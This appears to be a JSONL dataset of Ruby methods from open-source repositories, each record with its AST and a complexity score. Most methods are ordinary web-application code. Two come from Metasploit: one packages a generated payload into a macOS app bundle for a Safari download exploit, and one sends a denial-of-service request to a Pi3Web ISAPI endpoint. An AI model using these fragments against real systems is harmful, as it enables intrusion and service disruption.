ren\":[\"@system_arguments\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"classes\"]},{\"type\":\"send\",\"children\":[null,\"class_names\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@system_arguments\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"classes\"]}]},{\"type\":\"str\",\"children\":[\"op-enterprise-banner\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"op-enterprise-banner_medium\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@variant\"]},\"==\",{\"type\":\"sym\",\"children\":[\"medium\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"op-enterprise-banner_large\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@variant\"]},\"==\",{\"type\":\"sym\",\"children\":[\"large\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"op-enterprise-banner_trial\"]},{\"type\":\"send\",\"children\":[null,\"trial_feature?\"]}]}]}]}]}]}]}","id":"e162427f-a6f3-41bc-901d-d5d89ba52896"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/osx/browser/safari_user_assisted_download_launch.rb","start_line":137,"raw_source":"def app_zip(seed)\n    if datastore['SIGNED_APP'].present?\n      print_status \"Zipping custom app bundle...\"\n      zip = Rex::Zip::Archive.new\n      zip.add_r(datastore['SIGNED_APP'])\n      zip.pack\n    else\n      plist_extra = %Q|\n        <key>CFBundleURLTypes</key>\n        <array>\n          <dict>\n            <key>CFBundleURLName</key>\n            <string>Local File</string>\n            <key>CFBundleURLSchemes</key>\n            <array>\n              <string>openurl#{seed}</string>\n            </array>\n          </dict>\n        </array>\n      |\n\n      my_payload = generate_payload_exe(:platform => [Msf::Module::Platform::OSX])\n      Msf::Util::EXE.to_osx_app(my_payload,\n                                :app_name => datastore['APP_NAME'],\n                                :plist_extra => plist_extra)\n    end\n  end","complexity_score":21.4,"ast_json":"{\"type\":\"def\",\"children\":[\"app_zip\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"seed\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"SIGNED_APP\"]}]},\"present?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Zipping custom app bundle...\"]}]},{\"type\":\"lvasgn\",\"children\":[\"zip\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Zip\"]},\"Archive\"]},\"new\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"zip\"]},\"add_r\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"SIGNED_APP\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"zip\"]},\"pack\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"plist_extra\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"        <key>CFBundleURLTypes</key>\\n\"]},{\"type\":\"str\",\"children\":[\"        <array>\\n\"]},{\"type\":\"str\",\"children\":[\"          <dict>\\n\"]},{\"type\":\"str\",\"children\":[\"            <key>CFBundleURLName</key>\\n\"]},{\"type\":\"str\",\"children\":[\"            <string>Local File</string>\\n\"]},{\"type\":\"str\",\"children\":[\"            <key>CFBundleURLSchemes</key>\\n\"]},{\"type\":\"str\",\"children\":[\"            <array>\\n\"]},{\"type\":\"str\",\"children\":[\"              <string>openurl\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"seed\"]}]},{\"type\":\"str\",\"children\":[\"</string>\\n\"]},{\"type\":\"str\",\"children\":[\"            </array>\\n\"]},{\"type\":\"str\",\"children\":[\"          </dict>\\n\"]},{\"type\":\"str\",\"children\":[\"        </array>\\n\"]},{\"type\":\"str\",\"children\":[\"      \"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"my_payload\",{\"type\":\"send\",\"children\":[null,\"generate_payload_exe\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"platform\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Module\"]},\"Platform\"]},\"OSX\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Util\"]},\"EXE\"]},\"to_osx_app\",{\"type\":\"lvar\",\"children\":[\"my_payload\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"app_name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"APP_NAME\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"plist_extra\"]},{\"type\":\"lvar\",\"children\":[\"plist_extra\"]}]}]}]}]}]}]}","id":"e08daba1-76e6-43fd-8044-90441d60db04"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/controllers/api_controller.rb","start_line":13,"raw_source":"def redis_status\n    r = Redis.new(Redis::Config.app)\n    return 'ok' if r.ping\n  rescue Redis::CannotConnectError\n    'failing'\n  end","complexity_score":7.2,"ast_json":"{\"type\":\"def\",\"children\":[\"redis_status\",{\"type\":\"args\",\"children\":[]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"r\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Redis\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Redis\"]},\"Config\"]},\"app\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"r\"]},\"ping\"]},{\"type\":\"return\",\"children\":[{\"type\":\"str\",\"children\":[\"ok\"]}]},null]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Redis\"]},\"CannotConnectError\"]}]},null,{\"type\":\"str\",\"children\":[\"failing\"]}]},null]}]}","id":"8f127816-fa10-45b4-a870-95a5b7f54b7c"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-calendar/lib/event_validator.rb","start_line":26,"raw_source":"def count_dates(post)\n      cooked = PrettyText.cook(post.raw, topic_id: post.topic_id, user_id: post.user_id)\n      Nokogiri.HTML(cooked).css(\"span.discourse-local-date\").count\n    end","complexity_score":9.2,"ast_json":"{\"type\":\"def\",\"children\":[\"count_dates\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"post\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"cooked\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PrettyText\"]},\"cook\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post\"]},\"raw\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"topic_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post\"]},\"topic_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post\"]},\"user_id\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Nokogiri\"]},\"HTML\",{\"type\":\"lvar\",\"children\":[\"cooked\"]}]},\"css\",{\"type\":\"str\",\"children\":[\"span.discourse-local-date\"]}]},\"count\"]}]}]}","id":"568d0e28-1c49-424e-b7fc-cef8a30d004d"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/style/each_with_object.rb","start_line":128,"raw_source":"def return_value_occupies_whole_line?(node)\n          whole_line_expression(node).source.strip == node.source\n        end","complexity_score":6.4,"ast_json":"{\"type\":\"def\",\"children\":[\"return_value_occupies_whole_line?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"whole_line_expression\",{\"type\":\"lvar\",\"children\":[\"node\"]}]},\"source\"]},\"strip\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"source\"]}]}]}","id":"b7f0eba3-c597-4318-a08e-f278e106bb25"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/lib/workers/evm_server.rb","start_line":89,"raw_source":"def servers_from_db\n    my_server = MiqServer.my_server(true)\n\n    if MiqEnvironment::Command.is_podified?\n      # Ensure that the \"primary\" miq_server is first in the list of servers.\n      # This ensures that any work that is only done on the primary is completed\n      # before processing the rest of the servers.\n      MiqServer.in_my_region.to_a.unshift(my_server).uniq.compact\n    else\n      [my_server].compact\n    end\n  end","complexity_score":12.6,"ast_json":"{\"type\":\"def\",\"children\":[\"servers_from_db\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"my_server\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MiqServer\"]},\"my_server\",{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MiqEnvironment\"]},\"Command\"]},\"is_podified?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MiqServer\"]},\"in_my_region\"]},\"to_a\"]},\"unshift\",{\"type\":\"lvar\",\"children\":[\"my_server\"]}]},\"uniq\"]},\"compact\"]},{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"my_server\"]}]},\"compact\"]}]}]}]}","id":"ffd5fdbf-18d8-4b41-869c-002ad1565c8c"}
{"repo_name":"doorkeeper","file_path":"./repos/doorkeeper/lib/doorkeeper/oauth/authorization_code_request.rb","start_line":58,"raw_source":"def pkce_supported?\n        Doorkeeper.config.access_grant_model.pkce_supported?\n      end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"pkce_supported?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Doorkeeper\"]},\"config\"]},\"access_grant_model\"]},\"pkce_supported?\"]}]}","id":"fb4dd851-7322-46c1-be97-188bd1c00d4c"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/relation/query_methods.rb","start_line":250,"raw_source":"def includes(*args)\n      check_if_method_has_arguments!(__callee__, args)\n      spawn.includes!(*args)\n    end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"includes\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"args\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"check_if_method_has_arguments!\",{\"type\":\"send\",\"children\":[null,\"__callee__\"]},{\"type\":\"lvar\",\"children\":[\"args\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"spawn\"]},\"includes!\",{\"type\":\"splat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]}]}]}]}]}","id":"29e2bf21-1656-430b-86ec-01398ff92505"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/search_service.rb","start_line":24,"raw_source":"def group\n    return unless params[:group_id].present?\n\n    the_group = Group.find_by_id(params[:group_id])\n    can?(current_user, :read_group, the_group) ? the_group : nil\n  end","complexity_score":12.4,"ast_json":"{\"type\":\"def\",\"children\":[\"group\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"group_id\"]}]},\"present?\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"the_group\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Group\"]},\"find_by_id\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"group_id\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"can?\",{\"type\":\"send\",\"children\":[null,\"current_user\"]},{\"type\":\"sym\",\"children\":[\"read_group\"]},{\"type\":\"lvar\",\"children\":[\"the_group\"]}]},{\"type\":\"lvar\",\"children\":[\"the_group\"]},{\"type\":\"nil\",\"children\":[]}]}]}]}","id":"e2ff466a-6fbf-44e6-beb1-440b37957723"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/dos/windows/http/pi3web_isapi.rb","start_line":42,"raw_source":"def run\n    o = { 'uri' => \"/isapi/#{datastore['FILENAME']}\" }\n\n    c = connect(o)\n    c.send_request(c.request_raw(o))\n\n    print_status(\"Request sent to #{rhost}:#{rport}\")\n  rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout\n    print_status(\"Couldn't connect to #{rhost}:#{rport}\")\n  rescue ::Timeout::Error, ::Errno::EPIPE => e\n    vprint_error(e.message)\n  end","complexity_score":21.0,"ast_json":"{\"type\":\"def\",\"children\":[\"run\",{\"type\":\"args\",\"children\":[]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"o\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"/isapi/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"FILENAME\"]}]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"c\",{\"type\":\"send\",\"children\":[null,\"connect\",{\"type\":\"lvar\",\"children\":[\"o\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"c\"]},\"send_request\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"c\"]},\"request_raw\",{\"type\":\"lvar\",\"children\":[\"o\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Request sent to \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rhost\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rport\"]}]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Rex\"]},\"ConnectionRefused\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Rex\"]},\"HostUnreachable\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Rex\"]},\"ConnectionTimeout\"]}]},null,{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Couldn't connect to \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rhost\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rport\"]}]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Timeout\"]},\"Error\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Errno\"]},\"EPIPE\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"send\",\"children\":[null,\"vprint_error\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"message\"]}]}]},null]}]}","id":"4b47a7d4-4cef-46fa-8e7c-f61b618ac4a2"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-solved/lib/discourse_solved/topic_extension.rb","start_line":8,"raw_source":"def accepted_answer_post_info\n    return unless solved\n    return unless answer_post = solved.answer_post\n\n    answer_post_user = answer_post.user || Discourse.system_user\n    accepter = solved.accepter || self.user || Discourse.system_user\n\n    excerpt =\n      if SiteSetting.solved_quote_length > 0\n        PrettyText.excerpt(\n          answer_post.cooked,\n          SiteSetting.solved_quote_length,\n          keep_emoji_images: true,\n        )\n      else\n        nil\n      end\n\n    accepted_answer = {\n      post_number: answer_post.post_number,\n      username: answer_post_user.username,\n      name: answer_post_user.name,\n      excerpt:,\n    }\n\n    if SiteSetting.show_who_marked_solved\n      accepted_answer[:accepter_name] = accepter.name\n      accepted_answer[:accepter_username] = accepter.username\n    end\n\n    if !SiteSetting.enable_names || !SiteSetting.display_name_on_posts\n      accepted_answer[:name] = nil\n      accepted_answer[:accepter_name] = nil\n    end\n\n    accepted_answer\n  end","complexity_score":46.2,"ast_json":"{\"type\":\"def\",\"children\":[\"accepted_answer_post_info\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"solved\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"answer_post\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"solved\"]},\"answer_post\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"answer_post_user\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"answer_post\"]},\"user\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Discourse\"]},\"system_user\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"accepter\",{\"type\":\"or\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"solved\"]},\"accepter\"]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"user\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Discourse\"]},\"system_user\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"excerpt\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"solved_quote_length\"]},\">\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PrettyText\"]},\"excerpt\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"answer_post\"]},\"cooked\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"solved_quote_length\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"keep_emoji_images\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"lvasgn\",\"children\":[\"accepted_answer\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"post_number\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"answer_post\"]},\"post_number\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"username\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"answer_post_user\"]},\"username\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"answer_post_user\"]},\"name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"excerpt\"]},{\"type\":\"lvar\",\"children\":[\"excerpt\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"show_who_marked_solved\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"accepted_answer\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"accepter_name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"accepter\"]},\"name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"accepted_answer\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"accepter_username\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"accepter\"]},\"username\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"enable_names\"]},\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"display_name_on_posts\"]},\"!\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"accepted_answer\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"accepted_answer\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"accepter_name\"]},{\"type\":\"nil\",\"children\":[]}]}]},null]},{\"type\":\"lvar\",\"children\":[\"accepted_answer\"]}]}]}","id":"8834e179-823f-4e7a-9254-9776a47461a3"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/miq_worker.rb","start_line":506,"raw_source":"private def set_system_uid\n    self.system_uid = unit_name if systemd_worker?\n  end","complexity_score":5.0,"ast_json":"{\"type\":\"send\",\"children\":[null,\"private\",{\"type\":\"def\",\"children\":[\"set_system_uid\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"systemd_worker?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"system_uid=\",{\"type\":\"send\",\"children\":[null,\"unit_name\"]}]},null]}]}]}","id":"7b500223-f5bd-467b-8095-de5e75cb5255"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/chat/app/services/chat/lookup_channel_threads.rb","start_line":91,"raw_source":"def fetch_memberships(guardian:, threads:)\n      ::Chat::UserChatThreadMembership.where(\n        thread_id: threads.map(&:id),\n        user_id: guardian.user.id,\n      )\n    end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"fetch_memberships\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"guardian\"]},{\"type\":\"kwarg\",\"children\":[\"threads\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Chat\"]},\"UserChatThreadMembership\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"thread_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"threads\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"guardian\"]},\"user\"]},\"id\"]}]}]}]}]}","id":"b61f3503-35e2-42a9-b0c5-28d825c18a23"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/namespace/traversal_hierarchy.rb","start_line":114,"raw_source":"def recursive_root_ancestor(namespace)\n        Gitlab::ObjectHierarchy\n          .new(Namespace.where(id: namespace))\n          .base_and_ancestors\n          .without_order\n          .find_top_level\n      end","complexity_score":7.0,"ast_json":"{\"type\":\"def\",\"children\":[\"recursive_root_ancestor\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"namespace\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"ObjectHierarchy\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Namespace\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"lvar\",\"children\":[\"namespace\"]}]}]}]}]},\"base_and_ancestors\"]},\"without_order\"]},\"find_top_level\"]}]}","id":"5d15ddd5-9635-4513-bc98-09beb635fbc5"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/exploit/remote/telnet.rb","start_line":145,"raw_source":"def recv(fd=self.sock, timeout=datastore['TelnetTimeout'])\n    recv_telnet(fd, timeout.to_f)\n  end","complexity_score":7.4,"ast_json":"{\"type\":\"def\",\"children\":[\"recv\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"fd\",{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"sock\"]}]},{\"type\":\"optarg\",\"children\":[\"timeout\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"TelnetTimeout\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"recv_telnet\",{\"type\":\"lvar\",\"children\":[\"fd\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"timeout\"]},\"to_f\"]}]}]}","id":"52369651-3158-4214-ac4a-5c831c6232a8"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/rubocop/cop/performance/readlines_each.rb","start_line":34,"raw_source":"def on_send(node)\n          return unless full_file_read_via_class?(node) || full_file_read_via_instance?(node)\n\n          add_offense(node.loc.selector, message: MESSAGE) do |corrector|\n            corrector.replace(node, node.source.gsub('readlines.each', 'each_line'))\n          end\n        end","complexity_score":12.7,"ast_json":"{\"type\":\"def\",\"children\":[\"on_send\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"full_file_read_via_class?\",{\"type\":\"lvar\",\"children\":[\"node\"]}]},{\"type\":\"send\",\"children\":[null,\"full_file_read_via_instance?\",{\"type\":\"lvar\",\"children\":[\"node\"]}]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"add_offense\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"loc\"]},\"selector\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"const\",\"children\":[null,\"MESSAGE\"]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"corrector\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"corrector\"]},\"replace\",{\"type\":\"lvar\",\"children\":[\"node\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"source\"]},\"gsub\",{\"type\":\"str\",\"children\":[\"readlines.each\"]},{\"type\":\"str\",\"children\":[\"each_line\"]}]}]}]}]}]}","id":"f3c19345-fec5-4092-bdf5-208af7e339d8"}
